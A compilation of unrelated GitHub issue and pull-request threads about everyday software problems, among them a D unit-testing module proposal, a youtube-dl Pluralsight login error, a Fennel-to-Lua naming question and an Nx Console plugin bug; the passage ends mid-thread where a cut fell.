This feature should be pretty much done now. The only thing is I wasn't able to fully test if the database is being successfully updated after accepting the application since I don't have a valid adminID. However I'm just using the logic from the acceptApplication function so it should be fine.


Question: Motivation behind this project

I was wondering what the reason was for building this is a separate plugin, and not include it in nvim-lspconfig? What is the reason we need all this extra lua code around the language server?
I would like to contribute to the C# + Neovim experience, but I haven't really went deep into how LSP's work so I have a hard time understanding why this language server needs so much extra wrapper-code compared to any other server configuration in nvim-lspconfig.
PS. Feel free to enable Discussions if you don't want these kinds questions as Issues.

Never mind, I found this and I'm not up to speed


Named unittests: Introducing std.experimental.testing

Docs here

The most glaring obvious thing to me is definately comments. At Least have some Returns/Params for the public API.

Documentation preview.
https://dlang.dawg.eu/phobos-prerelease/std_experimental_testing.html

@rikkimax Could you give an example of where the comments aren't enough? I thought I'd added enough all over but clearly I was wrong.

s/if(/if (/g

I was playing about with foo.should == bar and that works. Unfortunately, other operators don't so I abandoned it. I independently had the "string operator" idea as well, but wasn't sure how well it'd be received. AFAIC, I think I have no problem writing foo.should!">="(bar), but I'm not entirely sure. That exclamation mark would get confusing for should!"!=" for instance.
test!"is" should be checking for indentiy, not equality though, no?

I guess that's a matter of taste. I prefer should to expect, and expect to test. I'd prefer it even more if all of these worked:
foo.should == 5;
foo.should != 4;
foo.should >= 3;
//etc

For some reason dmd is perfectly fine with an equality statement by itself but complains when it's !(a == b) (which is what a.should != b means) or opCmp. My workout in my experimental branch of unit-threaded is:
foo.should == 5;
foo.shouldNot == 4;

But then the other operators would have to be passed in as compile-time strings, so no consistency. In the end I kept things as they were for this PR.

Why would foo.should == 5 be a bad sign for you? I don't mind shouldEqual or shouldBeEqual, but shouldBeGreaterThan is a bit of a mouthful. I really just want to use operators.

@Dicebot On the explicit registration, what would you propose beyond the runTestsMixin I added? Your idea of recursive compile-time reflection on modules doesn't currently work (I tried). The only other way I can think of and that was mentioned is to have a mixin in every module that wants to be tested, but that's intrusive and IMHO a worse solution than generating the file with the main function from the build system.

@Dicebot Is your imagined gentestroot.d similar to this? That was my companion project to unit-threaded. I never wrote the main function manually, I'm a programmer and therefore lazy :)

I like the KISS nature of D's built-in unittest blocks too. The main problem is that assert doesn't format the exception message. It should. As for the "pretty" test definitions, I disagree: AFAIC they reduce visual complexity. Agree to disagree, I guess.

I'm thinking about the whole auto-registration / common code to generate registration. At present, nothing in Phobos is executable with rdmd. We do however have the tools repo. Should it go there? I'm not sure how to proceed. It's slightly weird to expect anyone to rdmd /usr/include/dlang/dmd/std/experimental/testing/gen_main.d or something similar.

What is this .cloned file? Should be removed?

I believe that except for deciding on whether single threaded mode should be the default or not, I've addressed all the comments.

I'm not a big fan of these "extra" commits, like https://github.com/atilaneves/phobos/commit/16b6f419b406ad8bf408821cbe794fc3045b4907 and https://github.com/atilaneves/phobos/commit/f203bcd7a8703d2f8ad81be84799dbb10d429c91.

I'm going to squash all the commits before it gets merged, they're just there for now to show the to and fro.

who much of the lines are run by tests?

It's hard to say how many of these lines are run since some of them only come into play when the test runner is used. I tried flipping -cov on in posix.mak but the results didn't make any sense.

yes -cov is strange sometimes, but what was the problem?

I copied the files back to unit_threaded, used -cov there and it's good enough. Again, it's hard because it's a unit testing library that tests itself and it's all very meta. In any case, unit_threaded has been out for a while and used by a lot of people, I'd've a lot more issues files if it didn't work.
I agree that if this were completely new work it'd have to proven to be well covered. But it isn't and has.

I dealt with Robert's comments on gen_ut_main by simply using ut.d as a default file name. AFAICT the only outstanding doubt here is whether or not the unit tests should be run in parallel by default or not.

Can someone at least ok this review (or air concerns/complaints) so we can move forward? Thanks.

Wouldn't it be more composeable to separate should/shouldNot from the actual comparison. should.equal instead of shouldEqual. This would allow to have a negative version of some of the assertions that doesn't exist right now, i.e. shouldNot.beTrue. Am also thinking this could be extended to support custom assertions, something like: should.beA!(Foo).

whether or not the unit tests should be run in parallel by default or not.

It's important to randomize test order by default, then parallelization is possible and I'd opt for making it default.

whether or not the unit tests should be run in parallel by default or not.

In this day and age anything running serially rises a serious meh.

The current version runs them in parallel by default, which is also my preference.

i.e. shouldNot.beTrue.

Much like if ! vs. unless, I don't think we want to have rspec's 30 different way to do the same thing.
A decent expression template could capture comparisons and allow to use code instead of separate functions.
foo.should == 20;
foo.should != 20;
foo.should in bar;
foo.should < 10;

But that isn't currently possible Operator overloading or alternatives to expression templates, so the named functions are fine IMO.

I think dtest should be part of this as well.

@jacob-carlborg dtest is a part of it, it just changed name to gen_ut_main

There's not much documentation on how to actually run the tests. For example, how do I run a single test? I expect a complete example including the command line to run the tests.

Not This module may be run by rdmd

We can't include an executable with phobos. Maybe dtools. What was settled was to have a file in phobos that users could use to generate their own ut executables with a main function. So, instead of a binary that runs the tests, there's a program that generates the program to run the tests, and then that program would be run in turn. I'll add documentation explaining properly.

I added docs for gen_ut_main

We can't include an executable with phobos. Maybe dtools. What was settled was to have a file in phobos that users could use to generate their own ut executables with a main function

I guess that's acceptable as a start. But we need a proper tool for this sooner rather than later.

So, instead of a binary that runs the tests, there's a program that generates the program to run the tests, and then that program would be run in turn. I'll add documentation explaining properly.

So I need to run rdmd twice? Why can't the first file that is compiled and run also run the next one? You should be able to do something like this:
$ rdmd gen_ut_main.d foo/bar

Then gen_ut_main.d could be renamed to test.d and drop the .d extension in the command line, making it look like a action/subcommand for rdmd:
$ rdmd test foo/bar

rdmd test would only work if run from $PHOBOS/std/experimental/testing. If anything I think what you're suggesting would be better accomplished by modifying rdmd to run that script from phobos. As for why generating and running being separate operations, I got so annoyed at dtest taking so long I stopped using it myself, but that was before I added a check to not overwrite the generated file if the file list hasn't changed. I'll have to think about it and play with the current state of affairs a bit.
I still think such a tool belongs in tools. I'm more inclined to remove gen_ut_main.d altogether and have just the mixin. But... the mixin could maybe also run the tests. Hmm.

Having thought a bit about gen_ut_main.d, here's my proposal: dtest should be part of the tools repository and leverage the code from the mixin in gen_ut_main_mixin and gen_ut_main.d would be deleted from this PR. Rationale:

We don't have runnable scripts / binaries in Phobos now
The binaries we ship that aren't the compiler are in tools
Having a runnable (even if just through rdmd) script in Phobos doesn't even help users much. On Arch Linux I'd have to rdmd /usr/include/dlang/dmd/std/experimental/testing/gen_ut_main.d which is a lot to type and read and not user-friendly in the slightest. Worse, it isn't even portable, if that command was in a Makefile it'd only build on Arch. It'd be better to package a separate dtest binary that worked as expected.
Even as a user myself, I'd rather have the functionality of writing the file that reflects on the modules to be tested in Phobos - it's easy to use just by mixing in to whatever file I want and including this as part of the build system
Mixing options for file generation and directories to search for with test-running options is messy.

I'm aware my proposal isn't ideal - but that's what's possible given the state of compile-time reflection in D now. @Dicebot, @jacob-carlborg :  thoughts?

I have given this some though as well. In an ideal world the build tool would handle this.
Alternative A:

The build tool compiles everything as a dynamic library
The test runner (dtest) loads the dynamic library and decides which tests should be run

The problem with this are:

Requires a build tool
Dynamic libraries are not supported on all platforms
UDA's are lost at runtime

It's possible to find the test methods at runtime by inspecting the symbol table (yes I know, it's a hack).
Alternative B:

The build tool compiles everything as a static library
The build tool generates a file with all the tests
The test runner is compiled together with the static library and the generated file

The problem with this is:

Requires a build tool

Alternative C:

The test runner (dtest) generates a temporary/hidden file with all tests
Compiles the generated file with the rest of the application and its tests
Runs the compiled tests

The problem with this are:

Need to compile twice

I guess Alternative C is what you have in mind. I'm not sure how dtest works now but you could always generate a file with all tests (regardless which ones should be executed) then at runtime select which test should be run. This way you could cache the intermediate file which only needs to be updated when tests are added or removed.

Libraries and compile-time reflection don't mix, so it's alternative C except that a hidden file isn't as useful as one that gets generated automatically by the build system / on demand when the list of modules to be compiled changes.
dtest just does what gen_ut_main.d here does, then runs the generated file.

What about adding a link to
http://atilaneves.github.io/phobos/phobos/std_experimental_testing.html
in the description?

I strongly believe we should focus on improving the existing DMD diagnostics of assert and in turn assertThrown and alikes instead of adding a new suite of function should*. Further, that fact that the should* functions throw exceptions will make it impossible to tag unittests as nothrow @nogc. To quote @andralex , we should strive to do as much as possible with as little features as possible in D.
Otherwise I warmly recommend this module!

I agree it'd be better that the compiler assert do this work. But it's easier to do it in a library.
I don't see why unit tests need to be @nogc. Production code, sure, but why unit tests?
I added a link to the docs.

What if I fix DMD to make asserts have better diagonistics? :)

@nordlow Knock yourself out ;) I've looked into changing assert in dmd myself; if it were easy I'd've already done it

I don't know what Walter would accept at this point, but after assertPred was rejected several years ago on the grounds that we should improve the built in assertions instead, the attempt to improve assert was ultimately rejected, because it cost too much:
https://issues.dlang.org/show_bug.cgi?id=5547

What's costing memory? Extra AST-nodes in DMD?

Read the comments in the bug report I listed. That's all the information that I have on the details of why it would or wouldn't be a good idea. But according to Don, you have to copy the parameters, which can be expensive, and Walter was against the increased memory requirements.
If you can come up with something that makes assertion messages show more useful information and which gets past Walter and the rest of the compiler dev team, then great, but there was a previous attempt to make assert print out the values of of the variables involved - e.g. printing out the values of lhs and rhs in assert(lhs == rhs) - and it was rejected by Walter. Walter thought that it should be done with library functions instead. I don't know what Walter's stance on it would be at this point.

What about adding a specific compiler flag, say -unittest=verbose, which triggers this extra argument printing?
Typically added by the develop the call to rdmd/dub-flags etc only upon failure with -unittest typically for a specific module. This will be more convenient than explicitly adding the prints of lhs and rhs in the failing unittest.
If -unittest=verbose DMD will then rewrite the AST to replace calls to assert(expr) withassertFancy)(file, line, column, op)(lhs-expr, rhs-expr). The Phobos-developer can then do what he like with the information he needs in the extra arguments to assertFancy().
This specific behaviour could be extendable by adding overloads for assertFancy for specific sets of types.
Then we could get extendability we want in testing-frameworks without sacrifycing default memory usage in DMD/Phobos unittests.
Further with this solution we could add cool diagnostics behaviour in assertFancy for failing array/range comparisons aswell in a format.
For example a failing
assert([1,2,3] == [1,2,4]);

could fancy-print
(lhs[2] being 3) != (rhs[2] being 4)

or for aggregates a failing
struct A { int x, y; }
auto a = A(1,2);
auto b = A(1,3);
assert(a == b);

could fancy-print
(lhs.y being 2) != (rhs.y being 3)

What do you think?

@nordlow sounds interesting - please write a DIP as I mentioned in the forum

Ok, great!
I registered a user named nordlow at the D Wiki but I can't find a way to write a DIP.
Help please.

http://wiki.dlang.org/DIP83

voting thread<EMAIL_ADDRESS>

This was rejected in the voting thread. Time to close?

I wanted to resubmit a simpler proposal, but I guess it makes sense to close this one as it is now.


Remove unnecessary .btn-outline and .btn-outline-inverse on docs

Unless you can provide some good reason for this...

@patrickhlauke He's right. The .btn-outline has no effect, it's not even defined (missing type, e.g. primary). See https://github.com/twbs/bootstrap/blob/v4-dev/scss/_buttons.scss#L82
The "outline" look is defined by the docs.css (bootstrap branding). Therefore, these classes can be removed in the documentation.

Thanks for clarifying @tomlutzenberger . yeah, i can see the issue now. looks good to me to merge, thanks @ysds


C80832: Adding two spaces at the end of a line

Localization team has reported source content issue that causes localized version to have broken/different format compared to en-us version.

#sign-off


How to check if a value exists in an array, where the array is a dynamic column?

Minimal example:
datatable (foo:dynamic)
    [dynamic(["A", "B", "C"]),
     dynamic(["A B", "C", "D"]),
     dynamic(["AB", "C", "D"])]
| where  ????  // Keep only lines where 'foo' contains an element which equals "A" (i.e. only the first line)

Here are things I tried which don't work exactly as required:
| where "A" in foo      // recognition error
| where "A" in (foo)      // failed to cast argument 2 to scalar constant
| where foo has_cs "A"     // keeps the second line as well
| where foo contains_cs "A"     // keeps the second and third lines as well

@ymost We are checking this and we will get back to you.

Use: https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/sethaselementfunction

Thanks @sloutsky for your response. @ymost I am closing this issue at this time. Please feel free to reach out with any further questions.
#please-close

@sloutsky Thanks!
I want to point out a mistake in this documentation page:

It says that "in" can be used for this purpose, but that doesn't work for dynamic columns
The function "set_has_element" doesn't appear under "Operators and functions over dynamic types"


how can i remove the initial animation?

Version 0.4.0 includes this feature. You can use the "disableInitAnimation" prop.


Pluralsight Error

Please follow the guide below

You will be asked some questions and requested to provide some information, please read them carefully and answer honestly
Put an x into all the boxes [ ] relevant to your issue (like this: [x])
Use the Preview tab to see what your issue will actually look like

Make sure you are using the latest version: run youtube-dl --version and ensure your version is 2018.05.18. If it's not, read this FAQ entry and update. Issues with outdated version will be rejected.

[ x] I've verified and I assure that I'm running youtube-dl 2018.05.18

Before submitting an issue make sure you have:

[x ] At least skimmed through the README, most notably the FAQ and BUGS sections
[x ] Searched the bugtracker for similar issues including closed ones
[x ] Checked that provided video/audio/playlist URLs (if any) are alive and playable in a browser

What is the purpose of your issue?

[x ] Bug report (encountered problems with youtube-dl)
[ ] Site support request (request for adding support for a new site)
[ ] Feature request (request for a new functionality)
[ ] Question
[ ] Other

The following sections concretize particular purposed issues, you can erase any section (the contents between triple ---) not applicable to your issue

If the purpose of this issue is a bug report, site support request or you are not completely sure provide the full verbose output as follows:
Add the -v flag to your command line you run youtube-dl with (youtube-dl -v <your command line>), copy the whole output and insert it here. It should look similar to one below (replace it with your log inserted between triple ```):
[debug] System config: []
[debug] User config: []
[debug] Command-line args: [u'-v', u'http://www.youtube.com/watch?v=BaW_jenozKcj']
[debug] Encodings: locale cp1251, fs mbcs, out cp866, pref cp1251
[debug] youtube-dl version 2018.05.18
[debug] Python version 2.7.11 - Windows-2003Server-5.2.3790-SP2
[debug] exe versions: ffmpeg N-75573-g1d0487f, ffprobe N-75573-g1d0487f, rtmpdump 2.4
[debug] Proxy map: {}
...
<end of log>

If the purpose of this issue is a site support request please provide all kinds of example URLs support for which should be included (replace following example URLs by yours):

Single video: https://www.youtube.com/watch?v=BaW_jenozKc
Single video: https://youtu.be/BaW_jenozKc
Playlist: https://www.youtube.com/playlist?list=PL4lCao7KL_QFVb7Iudeipvc2BCavECqzc

Note that youtube-dl does not support sites dedicated to copyright infringement. In order for site support request to be accepted all provided example URLs should not violate any copyrights.

Description of your issue, suggested solution and other information
after update youtube-dl new version now evan pluralsight is not loging in
but i tried to login in browser and its find there
PS C:\Users\Waqas> youtube-dl --verbose -o 'D:\contents\New folder/%(playlist)s/%(playlist_index)s - %(title)s.%(ext)s'
https://app.pluralsight.com/library/courses/sql-server-app-dev-best-practices --sleep-interval 90 --limit-rate 250k --ig
nore-errors --username<EMAIL_ADDRESS>--password 123
[debug] System config: []
[debug] User config: []
[debug] Custom config: []
[debug] Command-line args: ['--verbose', '-o', 'D:\contents\New folder/%(playlist)s/%(playlist_index)s - %(title)s.%(e
xt)s', 'https://app.pluralsight.com/library/courses/sql-server-app-dev-best-practices', '--sleep-interval', '90', '--lim
it-rate', '250k', '--ignore-errors', '--username', 'PRIVATE', '--password', 'PRIVATE']
[debug] Encodings: locale cp1252, fs mbcs, out cp437, pref cp1252
[debug] youtube-dl version 2018.05.18
[debug] Python version 3.5.2 (CPython) - Windows-10-10.0.14393-SP0
[debug] exe versions: none
[debug] Proxy map: {}
[pluralsight:course] sql-server-app-dev-best-practices: Downloading course JSON
[pluralsight:course] sql-server-app-dev-best-practices: Downloading JSON metadata
ERROR: Unable to download JSON metadata: HTTP Error 403: Forbidden (caused by <HTTPError 403: 'Forbidden'>); please repo
rt this issue on https://yt-dl.org/bug . Make sure you are using the latest version; see  https://yt-dl.org/update  on h
ow to update. Be sure to call youtube-dl with the --verbose flag and include its complete output.
File "c:\program files\python35\lib\site-packages\youtube_dl\extractor\common.py", line 582, in _request_webpage
return self._downloader.urlopen(url_or_request)
File "c:\program files\python35\lib\site-packages\youtube_dl\YoutubeDL.py", line 2211, in urlopen
return self._opener.open(req, timeout=self._socket_timeout)
File "c:\program files\python35\lib\urllib\request.py", line 472, in open
response = meth(req, response)
File "c:\program files\python35\lib\urllib\request.py", line 582, in http_response
'http', request, response, code, msg, hdrs)
File "c:\program files\python35\lib\urllib\request.py", line 510, in error
return self._call_chain(*args)
File "c:\program files\python35\lib\urllib\request.py", line 444, in _call_chain
result = func(*args)
File "c:\program files\python35\lib\urllib\request.py", line 590, in http_error_default
raise HTTPError(req.full_url, code, msg, hdrs, fp)
PS C:\Users\Waqas>

for some reason the requests to get course data does not work on you're side:
[debug] System config: []
[debug] User config: ['-f', 'best[height<=720]/bestvideo[height<=720]+bestaudio/best', '--hls-prefer-native', '--external-downloader', 'curl', '--sub-format', 'ass/tt/ttml/dfxp/scc/vtt/srt/sami/best']
[debug] Custom config: []
[debug] Command-line args: ['-v', '-i', '--sleep-interval', '90', '--limit-rate', '250k', '-u', 'PRIVATE', '-p', 'PRIVATE', 'https://app.pluralsight.com/library/courses/aws-architecting-reliability']
[debug] Encodings: locale UTF-8, fs utf-8, out UTF-8, pref UTF-8
[debug] youtube-dl version 2018.05.18
[debug] Python version 3.6.5 (CPython) - Linux-4.16.9-1-ARCH-x86_64-with-arch
[debug] exe versions: ffmpeg 4.0, ffprobe 4.0, rtmpdump 2.4
[debug] Proxy map: {}
[pluralsight:course] aws-architecting-reliability: Downloading course JSON
[download] Downloading playlist: Architecting for Reliability on AWS
[pluralsight:course] playlist Architecting for Reliability on AWS: Collected 53 video ids (downloading 53 of them)
[download] Downloading video 1 of 53
[pluralsight] Downloading login page
[pluralsight] Logging in
[pluralsight] 151113c9-f67a-4ad3-bc19-fe4801d611ba-0: Downloading course JSON
[pluralsight] 151113c9-f67a-4ad3-bc19-fe4801d611ba-0: Downloading mp4-high-widescreen viewclip JSON
[pluralsight] 151113c9-f67a-4ad3-bc19-fe4801d611ba-0: Waiting for 2 seconds to avoid throttling
[debug] Invoking downloader on 'https://vid5.pluralsight.com/expiretime=1526652031/feb8eedd49483e8c7c74858becc1a0bb/clips/resolution/95e56520-10fb-4651-b1f5-11d6da728080/current/mp4/1280x720.mp4'

@remitamine  bro when i am trying to login browser first i m getting security captcha then i got login panel

i have same issue for like 20 days now..
i am suing valid account that working via browser but not wok ring in youtube-dl
here is a link:
https://github.com/rg3/youtube-dl/issues/16394

try to login in the browser and export the cookies, then use the cookies with youtube-dl without providing the credentials.

@remitamine  i tried with cookies but still getting same error


fit one cycle

I am new in deep learning. any one could tell me the function and purpose of freeze function. and I am wondering if 1 epoch its enough because if I increase the number of epochs the accuracy will be lower.

The freeze function, will make some layers of weights not change during training. This is useful in transfer learning, where you have pre-trained a model but now want to transfer what it learned to a new task, but not forget what it has learned. Freezing layers gives a control of how rapidly that takes place. Generally, a process of gradual unfreezing is applied, where systematically more and more layers are 'unfrozen' and so their weights will start to change during training, but perhaps at lower learning rates so it doesn't forget what it learned during pre-training.
This is covered in quite a lot of detail in the fast.ai video lessons.


astropy.io.fits.verify.VerifyError: Unparsable card (LAMP_HGA), fix it first with .verify('fix')

This is the error message that has been showing during today's observation. Here is the instrumental configuration:

Goodman Red Camera
Grating 400 l/mm
Wavelength Mode - Custom - Central Wavelength = 603 nm

Here is the complete traceback:
(astroconda) [goodman@soardata3 2018-05-06]$ redccd
[08:26:26PM][    INFO]: Starting Goodman HTS Pipeline Log
[08:26:26PM][    INFO]: Local Time    : 2018-05-06 20:26:26.986065
[08:26:27PM][    INFO]: Universal Time: 2018-05-06 23:26:27.029889
[08:26:27PM][    INFO]: Pipeline Version: 1.0.0
Traceback (most recent call last):
  File "/home/goodman/anaconda3/envs/astroconda/bin/redccd", line 12, in <module>
    GOODMAN_CCD()
  File "/home/goodman/anaconda3/envs/astroconda/lib/python3.5/site-packages/pipeline/images/goodman_ccd.py", line 237, in __call__
    self.data_classifier(raw_path=self.args.raw_path)
  File "/home/goodman/anaconda3/envs/astroconda/lib/python3.5/site-packages/pipeline/images/data_classifier.py", line 53, in __call__
    ifc = ImageFileCollection(self.raw_path)
  File "/home/goodman/anaconda3/envs/astroconda/lib/python3.5/site-packages/ccdproc/image_collection.py", line 153, in __init__
    self.keywords = keywords
  File "/home/goodman/anaconda3/envs/astroconda/lib/python3.5/site-packages/ccdproc/image_collection.py", line 302, in keywords
    self._summary = self._fits_summary(new_keys_lst)
  File "/home/goodman/anaconda3/envs/astroconda/lib/python3.5/site-packages/ccdproc/image_collection.py", line 619, in _fits_summary
    missing_marker=missing_marker)
  File "/home/goodman/anaconda3/envs/astroconda/lib/python3.5/site-packages/ccdproc/image_collection.py", line 530, in _dict_from_fits_header
    for k, v in six.iteritems(h):
  File "/home/goodman/anaconda3/envs/astroconda/lib/python3.5/site-packages/astropy/io/fits/header.py", line 933, in items
    yield (card.keyword, card.value)
  File "/home/goodman/anaconda3/envs/astroconda/lib/python3.5/site-packages/astropy/io/fits/card.py", line 284, in value
    self._value = self._parse_value()
  File "/home/goodman/anaconda3/envs/astroconda/lib/python3.5/site-packages/astropy/io/fits/card.py", line 743, in _parse_value
    ".verify('fix').".format(self.keyword))
astropy.io.fits.verify.VerifyError: Unparsable card (LAMP_HGA), fix it first with .verify('fix').

It seems that just reading and writing it again using CCDData.read and CCDData.write fixes the problem. This should be integrated into the main code, though. Example:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import sys

from ccdproc import CCDData

def fix_goodman_header():

    list_of_files = sys.argv[1:]

    for filename in list_of_files:

        ccd = CCDData.read(filename, unit="adu")

        path, name = os.path.split(filename)
        filename = os.path.join(path, 'h' + name)

        ccd.write(filename, overwrite=True)

if __name__ == '__main__':
    fix_goodman_header()

I notified Stephen about this issue when it first appeared. The solution you propose is correct though I believe this should be fixed from the Goodman's side. i.e. UNC.


Support sources | multiple files, text

Describe the request
Hello. I suppose there is potential to cover advanced options:
note: a relevant suggestion of an addition of an option to disabling/enabling algorithms exits, so I won't duplicate that suggestion.
Suggestions:

Along with the existing support of the source which is illustrated by a single file, it would be advantageous to have supports for these sources: multiples files and single text string.
Bringing those supports would require in interface the presence of a new option –e.g. Source or View–  in order to select the view accordingly to the source; File, Multiple files and Text.

Common to each view | ability to compute hashes
Common to File and Text views | presence of a field in which to insert a check sum

Implementation Details

[X] This follows the GNOME HIG.

Thanks for all the suggestions!
Personally, I'm in favor of having a very simple UI for this app. I want people who don't know how to use a terminal or what hashing is to bother verifying their files' hashes. Having a complicated UI with many concepts such as "sources" and "views" might overwhelm them and give up.
The current approach to multiple files is to open a new window for each one (which you can also do automatically by providing a list of files to the app).
I don't mind text as input but it does feel out of scope of the app
Advanced users are more likely to use the CLI anyway or Text Pieces for text related operations

Nothing is set in stone of course! That's just my current position which might change in the future
I'll see about HMAC as I'll have to deal with bindings. FWIW, #174 already adds 3 more hash functions (Blake3, CRC32, Adler32).

there is no more than one option to operate a file selection

That's true and I consider it a bug, I'll open an issue to track it, thanks for pointing it out!

As a consequence I am unable to interpret what you meant to express by providing a list of files to the application. since there is no such option provided to achieve what the sentence describes.

There's at least 2 ways to do it:

using the CLI to pass multiple files to Collision collision ./file1 ./file2 ./file3
using the nautilus-extension (the README has instructions), selecting multiple files in nautilius and right clicking > Check Hashes

But selecting multiple files in the filechooser is more appropriate!


attempt to call ... (a nil value)

Hello, Oli!
Fixed so to save your time you can skip to my next comment, i have some question there.
I'm trying to convert simple functions to aniseed/fennel, and got into a problem.
I have let g:aniseed#env = v:true in my config.
I have this file in my ~/.config/nvim/fnl/myfunctions.fnl
(module myfunctions
  {autoload {a aniseed.core
             as aniseed.string}})

(def- vfn vim.fn)
(def- api vim.api)

(defn- reverse [t]
  (let [t-len (length t)]
    (for [i 1 (math.floor (/ t-len 2))]
      (let [j (a.inc (- t-len i))
            temp-i (. t i)]
        (tset t i (. t j))
        (tset t j temp-i)))
    t))

(defn- synnames []
  (let [[line-nr col-nr] (api.nvim_win_get_cursor 0)]
    (->> (vfn.synstack line-nr
                       (a.inc col-nr))
         (a.map #(vfn.synIDattr $1
                                "name"))
         (reverse))))

(defn print-synnames []
  (print (.. " "
              (as.join " " (synnames)))))

It converted to this file in ~/.config/nvim/lua/myfunctions.lua
local _2afile_2a = "fnl/myfunctions.fnl"
local _2amodule_name_2a = "myfunctions"
local _2amodule_2a
do
  package.loaded[_2amodule_name_2a] = {}
  _2amodule_2a = package.loaded[_2amodule_name_2a]
end
local _2amodule_locals_2a
do
  _2amodule_2a["aniseed/locals"] = {}
  _2amodule_locals_2a = (_2amodule_2a)["aniseed/locals"]
end
local autoload = (require("aniseed.autoload")).autoload
local a, as = autoload("aniseed.core"), autoload("aniseed.string")
do end (_2amodule_locals_2a)["a"] = a
_2amodule_locals_2a["as"] = as
local vfn = vim.fn
_2amodule_locals_2a["vfn"] = vfn
local api = vim.api
_2amodule_locals_2a["api"] = api
local function reverse(t)
  local t_len = #t
  for i = 1, math.floor((t_len / 2)) do
    local j = a.inc((t_len - i))
    local temp_i = t[i]
    t[i] = t[j]
    t[j] = temp_i
  end
  return t
end
_2amodule_locals_2a["reverse"] = reverse
local function synnames()
  local _let_1_ = api.nvim_win_get_cursor(0)
  local line_nr = _let_1_[1]
  local col_nr = _let_1_[2]
  local function _2_(_241)
    return vfn.synIDattr(_241, "name")
  end
  return reverse(a.map(_2_, vfn.synstack(line_nr, a.inc(col_nr))))
end
_2amodule_locals_2a["synnames"] = synnames
local function print_synnames()
  return print((" " .. as.join(" ", synnames())))
end
_2amodule_2a["print-synnames"] = print_synnames

But when I'm trying to call print_synnames() function with :lua require("myfunctions").print_synnames() the error apperas
E5108: Error executing lua [string ":lua"]:1: attempt to call field 'print_synnames' (a nil value)

If i add (print-synnames) into myfunctions.fnl and eval file with conjure - it works and i can see the output in the echo area.
If i add (global Synnames print-synnames) into myfunctions.fnl and then require it in init.fnl then i can call that function without a problem with :lua Synnames()
Inside fnl dir i have another module and i can call some function from it with the :lua require... without a problem. Do i miss something?

Ok found my mistake.
If I rename print-synnames into something that doesn't have - like printsynnames, then i can require it with :lua require("myfunctions").printsynnames() or i can require it with :lua require("myfunctions")["print-synnames"]().
For some reason i thought that fennel transforms dashes into underscore for exposed functions. And this line
_2amodule_2a["print-synnames"] = print_synnames

confirms that.
So i guess it is fixed.
Anyway have you any suggestions about this in particular? Should i name all public functions without the dashes (name conventions in lisp) and just use underscores?

Yep you have to be careful with Fnl->Lua naming since Fennel is farrr more permissive (which is great!). My general approach if I'm calling a Fennel compiled Lua function is to just guess what it mangled the name to (:lua require("myfunctions").print_synnames()) or check the .lua to see what it did. For instance, _2a is *, which I know from seeing it mangle that character so much.
I think you could export Lua friendly names if you know your module will be called from Lua a lot (so ensure you stick to a-zA-Z0-9_ or whatever it supports) but I think it's still okay to just use Fennel naming then document / think about how that'll be accessed from vanilla Lua.
Just a quirk of Fennel really! One that you can work around fairly easily but you need to be aware of whenever you're crossing the language boundary.

Thank you again.


Make rdodo compatible with BlueBird 1.3.0

[x] Add episode_log() and create_scenario()
[ ] Add simulation_step() and simulation_mode()
[ ] Add distance measures:

[x] geodesic_distance
[x] geodesic_separation
[x] great_circle_distance
[x] great_circle_separation
[x] vertical_distance
[x] vertical_separation
[ ] euclidean_distance
[ ] euclidean_separation

Merging in despite only partial completion, on the grounds that this branch is already too long-lived and BlueBird itself is now on version 2.


Nx generate not available for React projects

The button is blank and can't be pressed.
Steps to reproduce:

Clear IDE's cache
Create new nx workspace
Select React template in nx cli dialog
Select default options for rest prompts
Try to use nx generate

I've found log entry that might be linked to the issue:
2021-03-17 15:15:49,534 [  18375]   INFO -         #NxSchematicsLoader.kt - Error while loading schematics info.
internal/.../modules/cjs/loader.js:883
  throw err;
  ^

Error: Cannot find module '@angular-devkit/core'
Require stack:
- C:/.../Nx Console Idea/nxCli/utils.js
- C:/.../Nx Console Idea/nxCli/read-schematic-collection.js
- C:/.../Nx Console Idea/nxCli/schematicsInfoProvider.js
- C:/.../Nx Console Idea/nxCli/runner.js
    at Function.Module._resolveFilename (internal/.../modules/cjs/loader.js:880:15)
    at Function.Module._load (internal/.../modules/cjs/loader.js:725:27)
    at Module.require (internal/.../modules/cjs/loader.js:952:19)
    at require (internal/.../modules/cjs/helpers.js:88:18)
    at Object.<anonymous> (C:/.../Nx Console Idea/nxCli/utils.js:3:16)
    at Module._compile (internal/.../modules/cjs/loader.js:1063:30)
    at ...

For Angular projects Nx generate works as it should.
OS: Windows 10
Idea version: 2020.3.3
Plugin version: 0.23.0

Hello,
You are right, the plugin use some angular dependencies that are not present on a react project.
I will try to fix this issue.
As a temporary workaround you can try to install the @angular/cli on your project as devDependencies and restart the IDE(to evict cached schematics...).
npm i --save-dev @angular/cli
Thanks for reporting this.


release the latest version to conda-forge?

thank you for making this wonderful library.
I just found that the current release in conda-forge is from the date 06/22/2020. There are a lot of missing features, such as serialization. Would anyone like to help to release the latest version in conda-forge?

(conda-forge feedstock maintainer here)
The new v1.0.0 will be propagating out soon on Conda Forge. For future reference, Conda Forge tracks GitHub Releases, so creating a Release here is all that needs to happen to eventually push out there.

Thank you for the reply.
Yes, this issue prompted me to create the 1.0.0 release but I didn't take the time to answer it as I wanted to solve https://github.com/Tessil/robin-map/issues/50 beforehand for which I could create a 1.0.1 release.
Sorry for the delay regarding the release, I'll close the issue then as conda-forge is up-to-date.


[Docs] Add docs with implemented and not implemented function

Documentation request
Increase realization function，progressing function and pending function，which can let us understand free5gc project
Suggestion
Can free5gc add in the document which functions are implemented and which functions are not implemented?
As follows:
Complete
N3, N4, N6, N9 interfacing
PDR, FAR
...

Progressing
PCC

Pending
QER

This is kind of difficult because there is no well define what is a function.
And using the sample as you provided, even is saying PDR, we have implement some of the IE, but others are not.


Add ElectionConfiguration struct to services config

This seemed to be a general config that should live in the repo.

How did the test pass? Can you make sure the test catches those problems?


Dataset Downloading and Usage

Thanks for sharing this nice work!
I was wondering if the full Ego4D-v2 dataset was used for training, or just a subset. It's not clearly demonstrated in the paper or this repo. It would be great if the authors could provide some guidelines for data downloading and usage (such as the folder structure, and which folder should your provided streaming dialogue JSON data be put to).
Best regards,
Yiwu

Hi Yiwu, thanks for your interests! For data, we aggregate all Ego4D-v2 downstream benchmark training/validation sets. You only need to make the dataset annotation path as datasets/ego4d/v2/annotations, then the program will do that.
These are benchmarks (Ego4D v2.1, with goalstep) we used:

Implementation details from:
